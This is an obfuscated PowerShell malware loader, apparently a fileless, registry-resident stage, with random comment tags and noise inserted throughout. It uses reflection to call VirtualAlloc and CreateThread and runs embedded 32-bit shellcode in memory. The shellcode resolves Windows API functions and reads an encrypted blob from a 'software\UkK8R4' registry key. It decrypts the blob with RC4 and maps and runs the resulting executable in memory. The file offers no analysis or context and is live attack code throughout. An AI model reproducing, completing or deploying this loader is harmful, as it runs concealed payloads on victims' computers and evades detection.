0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 <#ib#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#nm#>0x00 0x00 0x00 <#ywi#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D <#oqc#>0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x86 0x5E 0x88 0x53 0xBF 0xB4 0x07 0xE1 0x08 0x10 0xD9 0xCD 0xB6 0xB6 0xEB 0x1E 0xB8 0x09 0x94 0xB8 0x44 0x7B 0xC5 0x3E 0xD3 0xDD 0x7F 0x42 0xF3 0xE5 0xC7 0x16 0xD1 0x56 0xA2 0x7E 0x99 <#ho#>0x4D 0xBF 0x19 0x05 0x84 0xE0 0x47 0xB7 0x86 0x33 0xDC 0x45 0x38 0x15 0xED 0xF5 0x33 0x09 <#ov#>0x75 0xB4 0xBB; #omha $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #hbjkh if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #dthuix for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #wrkbggp ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #qltkex }sleep(1200);}catch{}exit; #lwzv #magtengmuoxcpgrckntrjtlzogioqyxc #isnefouxzyef sleep(15);try{ #askzsqydg function gdelegate{ #abpatdden Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #secfew $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #zgtdufzhas $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #eqinreeknk $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #xnrg return $TypeBuilder.CreateType();} #ubynm function gproc{ #ponbaxhuou Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #totlui $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #ulldlp $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #ophxlbnvcc return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #kyjzenzom [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 <#dh#>0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 <#faw#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 <#bwf#>0xDB 0x89 0x5D 0xFC 0x5F <#nl#>0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC <#nac#>0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#fwa#>0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#cmo#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB <#ox#>0x01 <#km#>0x00 0x00 0x40 0x89 0x85 0x3C 0xFF <#wkc#>0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 <#pj#>0x20 0x33 <#ycx#>0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 <#kq#>0x04 0x24 0x13 <#wbn#>0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F <#ehi#>0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B <#xju#>0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#mh#>0x04 0x83 0xC4 0x08 0x66 0x8B <#hcd#>0x00 <#cvn#>0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC <#djs#>0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 <#kmn#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 <#odm#>0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B <#ja#>0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#zo#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B <#xo#>0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 <#sg#>0xE0 0x02 0x03 0xD0 <#esv#>0x8B 0x02 0x03 0x45 <#lyl#>0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 <#ak#>0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#ba#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 <#ar#>0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 <#fk#>0x04 0x81 <#csw#>0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 <#gyb#>0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 0x73 <#ujs#>0x75 <#bfi#>0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 <#qa#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#wxj#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 <#mwn#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 <#of#>0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 <#li#>0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 <#ak#>0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A <#bo#>0xFF <#bm#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF <#dqn#>0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 <#csv#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B <#bdd#>0x45 0xD4 0x66 0x81 0x38 0x4D <#kwc#>0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 <#thb#>0x04 0x24 <#ky#>0x13 0x54 0x24 0x04 0x83 <#sr#>0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#hdn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F <#zsx#>0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 <#yep#>0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 <#zo#>0x24 0x13 0x54 0x24 0x04 <#erw#>0x83 0xC4 0x08 0x8B 0x08 0x03 <#uoq#>0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 <#qdp#>0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 <#mj#>0x41 0x75 0x3D <#lsp#>0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 <#dyq#>0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC <#kgn#>0x8B 0x52 <#qcu#>0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#zo#>0x8B 0x02 0x03 0xC3 0x89 0x45 <#tqe#>0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 0x48 0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 <#sa#>0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 <#fb#>0xD2 0x52 0x50 0x8B <#iu#>0xC6 0x03 0xC0 0x99 0x03 0x04 <#wp#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#wb#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 <#zo#>0x89 0x85 <#hz#>0x7C 0xFF 0xFF 0xFF <#cv#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bww#>0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF <#be#>0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#bnk#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#lwe#>0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#cy#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#tpl#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF <#pan#>0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B <#tv#>0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 <#rzv#>0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF <#zu#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF <#pv#>0xFF 0x50 0x68 0x01 <#kx#>0x00 0x00 0x80 <#nxw#>0xFF 0x55 <#mu#>0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#sz#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF <#zhb#>0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#tf#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#yx#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#sa#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF <#sz#>0xFF 0xFF 0x00 0x74 <#qsf#>0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#thl#>0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#pdl#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF <#zr#>0x55 0xAC 0x85 0xC0 0x75 0x02 <#hgl#>0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B <#co#>0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF <#hfa#>0x33 0xF6 0x8D 0x8D 0x00 <#yx#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 <#uhz#>0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 <#qdx#>0x15 <#xr#>0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D <#iil#>0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 <#fas#>0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#npc#>0x6A <#sf#>0x40 <#hi#>0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#ul#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF <#woa#>0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#uw#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF <#fdw#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF <#jku#>0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF <#ge#>0xFF 0xEB 0x05 0x6A <#trb#>0x00 0xFF 0x55 0xA4 0x8B <#cj#>0x85 0x60 0xFF 0xFF 0xFF 0x48 <#xgk#>0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 <#zu#>0x00 <#rz#>0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#pe#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B <#ti#>0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF <#pa#>0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B <#vm#>0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D <#iye#>0x3C 0xFF 0xFF 0xFF 0x75 0x95 <#xyg#>0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 <#oai#>0x66 <#nps#>0x81 <#dz#>0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 <#gx#>0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF <#wwe#>0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 <#oq#>0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 <#xg#>0x7D <#cl#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#is#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 <#ov#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 <#oju#>0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#bc#>0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF <#el#>0xFF 0xFF 0x6A <#puq#>0x60 0x8B 0x85 0x7C 0xFF 0xFF <#cj#>0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 <#vvi#>0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF <#nr#>0xFF <#thl#>0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 <#tet#>0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 <#vi#>0x8D 0x0C 0x89 0x03 0xD1 <#fco#>0x89 0x95 0x50 0xFF 0xFF <#mk#>0xFF 0x8B <#si#>0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF <#lnc#>0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 <#xem#>0x8B 0x40 0x34 <#mkz#>0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 <#zci#>0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 <#ne#>0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 <#mcq#>0x8B 0x80 0xA0 0x00 0x00 0x00 <#ws#>0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B <#qn#>0x45 0xEC 0x8B <#ors#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 <#zeb#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 0xE8 <#mjb#>0x48 <#ld#>0x85 <#em#>0xC0 <#yz#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 <#zdc#>0x0C 0x8B 0xCA <#sy#>0x66 0x81 <#eco#>0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 <#xno#>0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF <#jwa#>0xFF 0xFF <#lp#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 0x38 0x00 0x77 0x8A 0x8B <#enc#>0x45 0xD0 0x8B 0x55 0xF8 <#vl#>0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B <#evh#>0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 <#uyv#>0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D <#yb#>0xF8 <#lrf#>0x57 0xFF 0x55 0xBC <#hk#>0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 <#whj#>0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 <#he#>0xF8 0x89 0x45 0x88 0xEB 0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B <#ybs#>0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#qr#>0xEB 0x37 0x8B 0x45 <#ej#>0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 <#cuw#>0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 <#jud#>0x8B 0x55 <#iv#>0x84 0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B <#fh#>0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 <#or#>0x45 0x8C <#zpa#>0x14 0x8B 0x45 0x8C 0x8B 0x78 <#aj#>0x0C 0x85 0xFF 0x0F 0x85 <#fyp#>0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F <#ia#>0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 0x65 0x5C <#tor#>0x55 0x6B 0x4B 0x38 0x52 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fkp#>0x00 0x00 0x00 0x00 0x00 0x00 <#ewe#>0x00 0x00 <#an#>0x00 0x00 0x00 0x00 0x00 